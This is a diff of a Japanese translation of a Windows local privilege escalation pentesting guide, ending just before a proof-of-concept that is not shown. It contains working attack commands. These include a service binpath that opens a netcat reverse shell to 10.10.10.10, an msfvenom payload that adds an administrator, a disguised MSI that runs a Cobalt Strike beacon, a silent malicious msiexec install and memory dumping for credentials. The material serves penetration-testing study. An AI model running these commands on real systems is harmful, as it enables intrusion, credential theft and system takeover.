-これらの脆弱性を悪用するには、次のようなツールが使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - これらは非SSLのWSUSトラフィックに 'fake' 更新を注入するための MiTM 向けエクスプロイトスクリプトです。 +この脆弱性を悪用するには、次のようなツールを使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - これらは MiTM を悪用して非 SSL WSUS トラフィックに「偽」更新を注入する weaponized exploit スクリプトです。 -調査は以下を参照: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,18 +195,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -基本的に、この不具合が悪用する欠陥は次のとおりです: +[**完全なレポートをここで読む**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +基本的に、この欠陥は次の弱点を突いています: -> ローカルユーザのプロキシを変更する権限があり、Windows Updates が Internet Explorer の設定で構成されたプロキシを使用する場合、ローカルで [PyWSUS](https://github.com/GoSecure/pywsus) を実行して自分のトラフィックを傍受し、アセット上で昇格したユーザとしてコードを実行することができます。 +> ローカルユーザのプロキシを変更する権限があれば、Windows Update が Internet Explorer の設定で構成されたプロキシを使うため、ローカルで [PyWSUS](https://github.com/GoSecure/pywsus) を実行して自身のトラフィックを傍受し、資産上で昇格されたユーザとしてコードを実行することが可能になります。 > -> さらに、WSUS サービスは現在のユーザの設定を使用するため、そのユーザの証明書ストアも使用します。WSUS ホスト名用の自己署名証明書を生成してそれを現在のユーザの証明書ストアに追加すれば、HTTP および HTTPS 双方の WSUS トラフィックを傍受することが可能になります。WSUS は証明書に対して信頼初回使用(trust-on-first-use)的な検証以外の HSTS のような仕組みを採用していません。提示された証明書がユーザにより信頼され、かつ正しいホスト名を持っていれば、サービスはそれを受け入れます。 +> さらに、WSUS サービスは現在のユーザの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名用に自己署名証明書を作成し、それを現在のユーザの証明書ストアに追加すれば、HTTP と HTTPS の両方の WSUS トラフィックを傍受できます。WSUS はトラスト・オン・ファースト・ユースの検証のような HSTS に相当する仕組みを持たないため、提示された証明書がユーザにより信頼され、正しいホスト名を持っていればサービスはそれを受け入れます。 -この脆弱性はツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(入手可能になれば)を使用して悪用できます。 +この脆弱性はツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使って悪用できます(入手できれば)。 ## Third-Party Auto-Updaters and Agent IPC (local privesc) -多くのエンタープライズエージェントは localhost の IPC サーフェスと特権付きのアップデートチャネルを公開しています。登録(enrollment)を攻撃者のサーバに強制でき、かつアップデータが不正なルート CA を信頼するか署名検証が弱い場合、ローカルユーザは SYSTEM サービスがインストールする悪意のある MSI を配布できます。一般化した手法(Netskope stAgentSvc チェーンに基づく – CVE-2025-0309)は以下を参照してください: +多くのエンタープライズ向けエージェントは localhost の IPC インターフェースと特権的な更新チャネルを公開しています。エンロールメントを攻撃者のサーバへ強制でき、かつ updater が悪意のあるルート CA や弱い署名検証を信頼する場合、ローカルユーザは SYSTEM サービスがインストールする悪意ある MSI を配布できます。一般化した手法(Netskope stAgentSvc チェーンに基づく – CVE-2025-0309)はここを参照してください: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +214,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Windows の **domain** 環境において、特定の条件下で **local privilege escalation** の脆弱性が存在します。これらの条件には、**LDAP signing が強制されていない**環境、ユーザが **Resource-Based Constrained Delegation (RBCD)** を構成できる自己権限を持っていること、そしてユーザがドメイン内にコンピュータを作成できる能力が含まれます。これらの **要件** は **デフォルト設定** のままでも満たされることに注意してください。 +Windows の **domain** 環境において、特定の条件下で **local privilege escalation** の脆弱性が存在します。これらの条件には、**LDAP signing is not enforced,** ユーザが **Resource-Based Constrained Delegation (RBCD)** を設定できる自己権限を持っていること、ドメイン内にコンピュータを作成する能力が含まれます。これらの **requirements** は **default settings** のままでも満たされることに注意してください。 -エクスプロイトは [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) で見つかります。 +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 攻撃のフローの詳細については次を参照してください: [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**もし** これら 2 つのレジストリ値が **有効**(値が **0x1**)になっている場合、あらゆる権限のユーザが NT AUTHORITY\\**SYSTEM** として `*.msi` ファイルを **インストール**(実行)できます。 +**もし** これら2つのレジストリが **有効**(値が **0x1**)であれば、任意の権限のユーザが `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として**インストール**(実行)できます。 ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -235,68 +236,66 @@ If you have a meterpreter session you can automate this technique using the modu ### PowerUP -power-upの`Write-UserAddMSI`コマンドを使って、カレントディレクトリ内に権限昇格用のWindows MSIバイナリを作成します。このスクリプトはプリコンパイル済みのMSIインストーラーを書き出し、ユーザー/グループの追加を促します(そのためGIUアクセスが必要になります): +`Write-UserAddMSI` コマンドを PowerUP から使用して、現在のディレクトリ内に権限昇格用の Windows MSI バイナリを作成します。 このスクリプトは、ユーザー/グループ追加を促すプリコンパイル済みの MSI インストーラーを書き出します(GUIアクセスが必要です): ``` Write-UserAddMSI ``` 作成したバイナリを実行するだけで権限を昇格できます。 -### MSI Wrapper - -このチュートリアルを読んで、これらのツールを使ってMSI Wrapperを作成する方法を学んでください。コマンドラインを単に実行したいだけの場合は、"**.bat**" ファイルをラップすることができます。 +### MSI ラッパー +このチュートリアルを読んで、これらのツールを使ってMSIラッパーを作成する方法を学んでください。**.bat** ファイルをラップすれば、**コマンドライン**を**実行**したいだけの場合にも使用できます。 {{#ref}} msi-wrapper.md {{#endref}} -### Create MSI with WIX - +### WIXでMSIを作成 {{#ref}} create-msi-with-wix.md {{#endref}} -### Create MSI with Visual Studio +### Visual StudioでMSIを作成 -- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Visual Studio を開き、**Create a new project** を選択して検索ボックスに "installer" と入力します。**Setup Wizard** プロジェクトを選択して **Next** をクリックします。 -- プロジェクト名を **AlwaysPrivesc** のように付け、場所には **`C:\privesc`** を使用し、**place solution and project in the same directory** を選択して **Create** をクリックします。 -- **Next** をクリックし続けてステップ 3/4 (choose files to include) に進みます。**Add** をクリックして先ほど生成した Beacon ペイロードを選択し、**Finish** をクリックします。 +- **Cobalt Strike** または **Metasploit** を使って `C:\privesc\beacon.exe` に **新しい Windows EXE TCP payload** を生成します +- **Visual Studio** を開き、**Create a new project** を選択して検索ボックスに「installer」と入力します。**Setup Wizard** プロジェクトを選択して **Next** をクリックします。 +- プロジェクトに **AlwaysPrivesc** のような名前を付け、ロケーションに **`C:\privesc`** を使用し、**place solution and project in the same directory** を選択して **Create** をクリックします。 +- **Next** をクリックし続け、step 3 of 4(choose files to include)まで進みます。**Add** をクリックして、先ほど生成した Beacon ペイロードを選択します。次に **Finish** をクリックします。 - **Solution Explorer** で **AlwaysPrivesc** プロジェクトを選択し、**Properties** で **TargetPlatform** を **x86** から **x64** に変更します。 -- **Author** や **Manufacturer** など、インストールされたアプリをより正当らしく見せるために変更できるプロパティが他にもあります。 +- インストール済みアプリをより正当らしく見せるために、**Author** や **Manufacturer** など、変更できる他のプロパティがあります。 - プロジェクトを右クリックして **View > Custom Actions** を選択します。 - **Install** を右クリックして **Add Custom Action** を選択します。 -- **Application Folder** をダブルクリックし、**beacon.exe** を選択して **OK** をクリックします。これにより、インストーラーが実行されるとすぐに Beacon ペイロードが実行されます。 -- **Custom Action Properties** の下で **Run64Bit** を **True** に変更します。 -- Finally, **build it**. -- 警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` が表示された場合は、プラットフォームを x64 に設定していることを確認してください。 +- **Application Folder** をダブルクリックし、**beacon.exe** ファイルを選択して **OK** をクリックします。これにより、インストーラー実行時に Beacon ペイロードがすぐに実行されるようになります。 +- **Custom Action Properties** で **Run64Bit** を **True** に変更します。 +- 最後に、プロジェクトを **ビルド** します。 +- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` という警告が表示された場合は、プラットフォームを x64 に設定していることを確認してください。 -### MSI Installation +### MSI インストール -悪意のある `.msi` ファイルのインストールをバックグラウンドで実行するには: +マルウェアの `.msi` ファイルの**インストール**を**バックグラウンド**で実行するには: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -この脆弱性を悪用するには次を使用できます: _exploit/windows/local/always_install_elevated_ +この脆弱性を悪用するには: _exploit/windows/local/always_install_elevated_ ## アンチウイルスと検出 ### 監査設定 -これらの設定は何が**ログに記録される**かを決めるので、注意を払ってください。 +これらの設定は何が**記録されるか**を決定するので、注意が必要です ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding、ログがどこに送信されているかを把握するのは興味深い。 +Windows Event Forwarding は、ログがどこに送られているかを確認するのが重要です ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** は、local Administrator passwords の管理のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが一意にランダム化され、定期的に更新されることを保証します。これらのパスワードは Active Directory 内に安全に格納され、ACLs を通じて十分な権限が付与されたユーザーのみが、許可されている場合に local admin passwords を閲覧できます。 +**LAPS** はドメイン参加コンピュータ上の **ローカル管理者パスワードの管理** を目的としており、各パスワードが **一意でランダム化され、定期的に更新される** ようにします。これらのパスワードは Active Directory 内に安全に格納され、ACLs を通じて十分な権限が付与されたユーザのみがアクセスでき、許可があればローカル管理者パスワードを閲覧できます。 {{#ref}} @@ -305,28 +304,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -有効な場合、**plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ -[**このページの WDigest に関する詳細**](../stealing-credentials/credentials-protections.md#wdigest). +有効な場合、**平文パスワードが LSASS に保存されます** (Local Security Authority Subsystem Service).\ +[**WDigest に関する詳細はこちら**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -**Windows 8.1** 以降、Microsoft は Local Security Authority (LSA) に対する保護を強化し、信頼されていないプロセスによる**メモリの読み取り**やコード注入の試みを**ブロック**してシステムをさらに保護するようになりました。\ +**Windows 8.1**以降、MicrosoftはLocal Security Authority (LSA)に対する保護を強化し、信頼されていないプロセスがそのメモリを**読み取る**試みやコードを注入する試みを**ブロック**することで、システムをさらに保護しました。\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** は **Windows 10** で導入されました。デバイスに保存された資格情報を、pass-the-hash attacks のような脅威から保護することを目的としています。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard**は**Windows 10**で導入されました。目的は、デバイスに保存された認証情報をpass-the-hash攻撃のような脅威から保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### キャッシュされた資格情報 -**ドメイン資格情報**は**Local Security Authority** (LSA) によって認証され、OSのコンポーネントによって利用されます。ユーザーのログオン情報が登録されたセキュリティパッケージによって認証されると、通常、そのユーザーのドメイン資格情報が確立されます。\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**ドメイン資格情報**は**Local Security Authority (LSA)**によって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常そのユーザーのドメイン資格情報が確立されます。\ +[**Cached Credentials の詳細はこちら**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -334,7 +333,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### ユーザーとグループの列挙 -所属するグループに興味深い権限があるか確認してください +自分が所属するグループに興味深い権限があるか確認してください。 ```bash # CMD net users %username% #Me @@ -351,24 +350,24 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### 特権グループ -もしあなたが**ある特権グループに属している場合、権限を昇格できる可能性があります**。特権グループと、それらを悪用して権限昇格する方法は以下を参照してください: +もしあなたが**特権グループのメンバーであれば権限を昇格できる可能性があります**。特権グループとそれらを悪用して権限を昇格させる方法については、こちらを参照してください: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### トークン操作 +### Token manipulation -**詳しくは**このページで**token**が何かを確認してください: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -次のページで、**興味深い token について学び**、それらを悪用する方法を確認してください: +**詳しくは** このページで **token** が何かを確認してください: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +以下のページで、興味深い **token** とそれらを悪用する方法を学んでください: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### ログオン中のユーザー / セッション +### ログインユーザー / セッション ```bash qwinsta klist sessions @@ -390,8 +389,8 @@ powershell -command "Get-Clipboard" ### ファイルとフォルダの権限 -まず、プロセスを一覧表示し、**プロセスのコマンドライン内のパスワードを確認してください**。\ -実行中のバイナリを**上書きできるか**、またはバイナリフォルダに書き込み権限があるかを確認して、潜在的な [**DLL Hijacking attacks**](dll-hijacking/index.html) を悪用できるか調べてください: +まず、プロセスを列挙して、**プロセスのコマンドライン内にパスワードがないか確認する**。\ +**実行中のバイナリを上書きできるか**、あるいはバイナリのフォルダに書き込み権限があり、[**DLL Hijacking attacks**](dll-hijacking/index.html) を悪用できるか確認する: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -402,9 +401,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -常に[**electron/cef/chromium debuggers**が稼働しているかを確認してください。これを悪用して権限を昇格させることができます](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)。 +常に[**electron/cef/chromium debuggers** が実行されているか確認してください。悪用して escalate privileges する可能性があります](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**プロセスのバイナリの権限を確認する** +**processes binaries の permissions を確認する** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -413,7 +412,7 @@ icacls "%%z" ) ) ``` -**プロセスのバイナリが置かれているフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**プロセスのバイナリが配置されているフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -423,15 +422,15 @@ todos %username%" && echo. ``` ### Memory Password mining -実行中のプロセスのメモリダンプは、sysinternals の **procdump** を使って取得できます。FTP のようなサービスはメモリ上に **credentials in clear text in memory** を保持していることがあるため、メモリをダンプしてこれらの認証情報を読み取ってみてください。 +sysinternals の **procdump** を使って、実行中のプロセスのメモリダンプを作成できます。FTP のようなサービスは **credentials in clear text in memory** を持っていることがあるため、メモリをダンプしてそれらを読み取ってみてください。 ```bash procdump.exe -accepteula -ma ``` ### 不安全な GUI アプリ -**SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを起動したり、ディレクトリを参照したりできる可能性があります。** +**SYSTEM として実行されているアプリケーションは、ユーザーに CMD を起動させたり、ディレクトリを参照させたりすることを許してしまう場合があります。** -例: "Windows Help and Support" (Windows + F1)、"command prompt" を検索して、"Click to open Command Prompt" をクリック +例: "Windows Help and Support" (Windows + F1) を開き、"command prompt" を検索して、"Click to open Command Prompt" をクリックします。 ## サービス @@ -444,15 +443,15 @@ Get-Service ``` ### 権限 -サービスの情報を取得するには **sc** を使用できます。 +サービスの情報を取得するために**sc**を使用できます ```bash sc qc ``` -各サービスに必要な特権レベルを確認するために、_Sysinternals_ のバイナリ **accesschk** を用意することを推奨します。 +各サービスの必要な特権レベルを確認するために、_Sysinternals_ のバイナリ **accesschk** を用意することを推奨します。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` -「Authenticated Users」が任意のサービスを変更できるかどうかを確認することをお勧めします: +"It is recommended to check if "Authenticated Users" can modify any service:" ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -461,27 +460,27 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### サービスを有効化 +### サービスを有効にする -例えば SSDPSRV で次のようなエラーが発生する場合: +このエラーが発生する場合(例: SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -次のコマンドで有効化できます +次のコマンドで有効にできます ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**サービス upnphost が動作するには SSDPSRV に依存していることを考慮してください (XP SP1 の場合)** +**サービス upnphost が動作するには SSDPSRV に依存していることを考慮してください(XP SP1 用)** -**別の回避策**は、次を実行することです: +**この問題の別の回避策**は次を実行することです: ``` sc.exe config usosvc start= auto ``` -### **Modify service binary path** +### **サービスのバイナリパスを変更する** -In the scenario where the "Authenticated users" group possesses **SERVICE_ALL_ACCESS** on a service, modification of the service's executable binary is possible. To modify and execute **sc**: +サービス上で "Authenticated users" グループが **SERVICE_ALL_ACCESS** を持っている場合、サービスの実行可能バイナリを変更することが可能です。変更して **sc** を実行するには: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -489,40 +488,40 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### サービスの再起動 +### サービスを再起動 ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -権限は次のような複数のアクセス許可を通じて昇格できます: +Privileges can be escalated through various permissions: -- **SERVICE_CHANGE_CONFIG**: サービスのバイナリを再構成することを許可します。 -- **WRITE_DAC**: 権限の再構成を可能にし、結果的にサービス構成を変更できるようになります。 +- **SERVICE_CHANGE_CONFIG**: サービスバイナリの再構成を許可します。 +- **WRITE_DAC**: 権限(ACL)の再構成を可能にし、サービス設定を変更できるようになります。 - **WRITE_OWNER**: 所有権の取得と権限の再構成を許可します。 -- **GENERIC_WRITE**: サービス構成を変更する能力を含みます。 -- **GENERIC_ALL**: 同様にサービス構成を変更する能力を含みます。 +- **GENERIC_WRITE**: サービス設定を変更する権限を含みます。 +- **GENERIC_ALL**: 同様にサービス設定を変更する権限を含みます。 -この脆弱性の検出と悪用には _exploit/windows/local/service_permissions_ を使用できます。 +For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. -### サービスバイナリの弱い権限 +### Services binaries weak permissions -**サービスによって実行されるバイナリを変更できるかを確認する**、またはバイナリが配置されているフォルダに **書き込み権限があるかを確認する**([**DLL Hijacking**](dll-hijacking/index.html))**。**\ -サービスによって実行されるすべてのバイナリは **wmic** を使用して取得でき(not in system32)、権限は **icacls** で確認できます: +**サービスによって実行されるバイナリを変更できるか**、または**バイナリが配置されているフォルダに書き込み権限があるか**([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +サービスによって実行されるすべてのバイナリは**wmic**(not in system32)で取得でき、**icacls**で権限を確認できます: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -また **sc** と **icacls** を使用できます: +また、**sc** と **icacls** を使用することもできます: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### サービス レジストリの変更権限 +### Services registry の変更権限 -任意のサービス レジストリを変更できるか確認してください。\ -次のようにサービスの**レジストリ**に対する**権限**を**確認**できます: +任意の service registry を変更できるか確認してください.\ +サービス **registry** に対する **permissions** を **check** するには、次を実行します: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -531,32 +530,31 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -サービスが実行するバイナリを変更できるかどうか、**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているか確認する必要があります。もしそうなら、サービスによって実行されるバイナリを変更できます。 +**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているか確認する必要があります。もしそうであれば、サービスによって実行される binary を変更できます。 -実行されるバイナリの Path を変更するには: +実行される binary の Path を変更するには: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### サービス レジストリ AppendData/AddSubdirectory permissions - -If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:** +### サービスレジストリ AppendData/AddSubdirectory 権限 +もしこの権限をレジストリに対して持っている場合、これは**このレジストリからサブレジストリを作成できる**ことを意味します。Windows services の場合、これは**任意のコードを実行するのに十分です:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### 引用符で囲まれていないサービスパス -If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. +実行ファイルへのパスが引用符で囲まれていない場合、Windows はスペースの前までの各区切りを順に実行しようとします。 -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windows は次を実行しようとします: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -組み込みの Windows サービスに属するものを除き、すべての引用符で囲まれていないサービスパスを列挙します: +ビルトインの Windows サービスに属するものを除き、引用符で囲まれていないサービスパスをすべて列挙する: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -576,19 +574,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**この脆弱性を検出および悪用できます** metasploit: `exploit/windows/local/trusted\_service\_path` You can manually create a service binary with metasploit: +**検出および悪用できます** この脆弱性は metasploit: `exploit/windows/local/trusted\_service\_path` で検出および悪用できます。metasploit を使ってサービスバイナリを手動で作成できます: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### 回復アクション -Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能は実行先としてbinaryを指定するように設定できます。もしこのbinaryを置き換え可能であれば、privilege escalationが可能になる場合があります。詳細は[公式ドキュメント]()を参照してください。 +Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能はバイナリを指すように設定することができます。もしこのバイナリを置き換え可能であれば、権限昇格が可能になることがあります。詳細は[公式ドキュメント]()を参照してください。 ## アプリケーション ### インストール済みアプリケーション -**permissions of the binaries**(上書きできればprivilege escalationが可能かもしれません)および**folders**([DLL Hijacking](dll-hijacking/index.html))の権限を確認してください。 +**バイナリの権限**を確認する(上書きできれば権限昇格できるかもしれない)および**フォルダの権限**を確認する([DLL Hijacking](dll-hijacking/index.html))。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -599,9 +597,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### 書き込み権限 -管理者アカウントによって実行されるバイナリ(schedtasks)を変更できるか、あるいは特定のファイルを読むために設定ファイルを変更できるかを確認してください。 +設定ファイルを変更して特定のファイルを読み取れるか、または Administrator アカウントで実行されるバイナリを変更できるか(schedtasks)を確認します。 -システム内の弱いフォルダー/ファイルの権限を見つける方法の一つは次のとおりです: +システム内の脆弱なフォルダ/ファイルの権限を見つける方法の一つは、次のようにすることです: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -624,10 +622,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### 起動時に実行されるもの +### 起動時に実行 -**別のユーザーによって実行されるレジストリやバイナリを上書きできるか確認する。**\ -**以下のページ**を参照して、興味深い **autoruns locations to escalate privileges** について詳しく学んでください: +**別のユーザによって実行されるレジストリやバイナリを上書きできるか確認してください。**\ +**お読みください** **以下のページ** を参照して、興味深い **autoruns locations to escalate privileges** について詳しく学んでください: {{#ref}} @@ -636,32 +634,31 @@ privilege-escalation-with-autorun-binaries.md ### ドライバ -サードパーティ製の**怪しい/脆弱な**ドライバがないか探す +可能性のある **third party weird/vulnerable** ドライバを探してください ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -ドライバが arbitrary kernel read/write primitive(不適切に設計された IOCTL ハンドラでよく見られる)を公開している場合、kernel memory から直接 SYSTEM token を盗むことで権限昇格できます。ステップバイステップの手法はこちらを参照してください: +ドライバが arbitrary kernel read/write primitive を露出している場合(設計の粗い IOCTL ハンドラでよく見られる)、カーネルメモリから直接 SYSTEM token を奪取して権限を昇格できます。ステップバイステップの手法は以下を参照してください: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### device objects における FILE_DEVICE_SECURE_OPEN の欠如の悪用(LPE + EDR kill) +#### デバイスオブジェクトでの FILE_DEVICE_SECURE_OPEN の欠如を悪用する (LPE + EDR kill) -署名された一部のサードパーティドライバは、IoCreateDeviceSecure を使って強力な SDDL で device object を作成しますが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を設定し忘れることがあります。このフラグがないと、追加のコンポーネントを含むパス経由でデバイスを開いた場合に secure DACL が適用されず、特権のない任意のユーザが次のような名前空間パスを使ってハンドルを取得できます: +一部の署名されたサードパーティドライバは、IoCreateDeviceSecure を使って強力な SDDL でデバイスオブジェクトを作成するが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を設定し忘れることがある。このフラグがないと、追加コンポーネントを含むパスでデバイスを開いた場合に secure DACL が適用されず、次のような namespace path を使って権限のないユーザでもハンドルを取得できてしまう: - \\ .\\DeviceName\\anything - \\ .\\amsdk\\anyfile (from a real-world case) -ユーザがデバイスを開けるようになると、ドライバが公開する特権付きの IOCTLs を LPE や tampering に悪用できます。実際に観測された例: +一度ユーザがデバイスを開けると、ドライバが公開する特権的な IOCTL を LPE や改ざんに悪用できる。実際に見られた能力の例: +- 任意のプロセスに対するフルアクセスのハンドルを返す(token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser)。 +- raw disk read/write を無制限に行える(offline tampering、boot-time persistence tricks)。 +- Protected Process/Light (PP/PPL) を含む任意のプロセスを終了させられ、ユーザランドからカーネル経由で AV/EDR kill を行えるようになる。 -- 任意のプロセスに対してフルアクセスのハンドルを返す(token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser)。 -- 制限のない raw disk read/write(オフラインでの改ざん、ブート時永続化トリック)。 -- Protected Process/Light (PP/PPL) を含む任意のプロセスを終了させることができ、これによりカーネル経由でユーザランドから AV/EDR を kill できます。 - -最小限の PoC パターン (user mode): +最小 PoC パターン (user mode): 